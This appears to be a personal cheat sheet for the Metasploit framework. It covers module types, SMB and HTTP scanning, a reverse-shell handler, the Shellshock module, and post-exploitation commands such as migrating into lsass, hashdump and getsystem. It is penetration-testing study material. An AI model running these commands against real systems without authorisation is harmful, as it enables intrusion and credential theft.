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Metasploit

Modules

Auxiliary scanners, crawlers and fuzzers
Encoders encode payloads
Evasion prepare payloads to circumvent signature based malware detection
NOPs various architectures
Payloads to run on target systems
- Singles, inline payloads, for example generic/shell_reverse_tcp
- Stagers, downloads the stages payloads
- Stages, for example windows/x64/shell/reverse_tcp
Post postexploitation

Notes

Search via scope

search type:auxiliary <stuff>

Send exploit to background

run -z

check if target is vulnerable
setg sets variables globally
unset payload
Flush via unset all

Sessions

background or ctrl+z
Foreground via sessions -i <number>

Scanning

Portscan

search portscan

UDP Sweep via scanner/discovery/udp_sweep
SMB Scan via scanner/smb/smb_version and smb_enumshares
SMB login dictionary attack scanner/smb/smb_login
NetBios via scanner/netbios/nbname
HTTP version scanner/http/http_version

Database

Start postgres
msfdb init
db_status
Separate workspace -a <projectname>
Safe scans via db_nmap
Show hosts
Show services
Set RHOST values via hosts -R

Exploits

show targets
show payloads

Reverse Shells

Multihandler, set options

use exploit/multi/handler
set payload <payloadhandler>

Shellshock as an example

use multi/http/apache_mod_cgi_bash_env_exec

Post Exploitation

load kiwi
load python

Windows

list SAM database

migrate <lsass.exe-PID>
hashdump

enum shares

post/windows/gather/enum_shares

Linux
- use post/linux/gather/hashdump

Other Meterpreter stuff

Staged and in disguise running as another servicename

getpid
ps

Attempt to elevate privileges

getsystem

Use multi/handler or exploit and get an overview via show payloads
UserID via getuid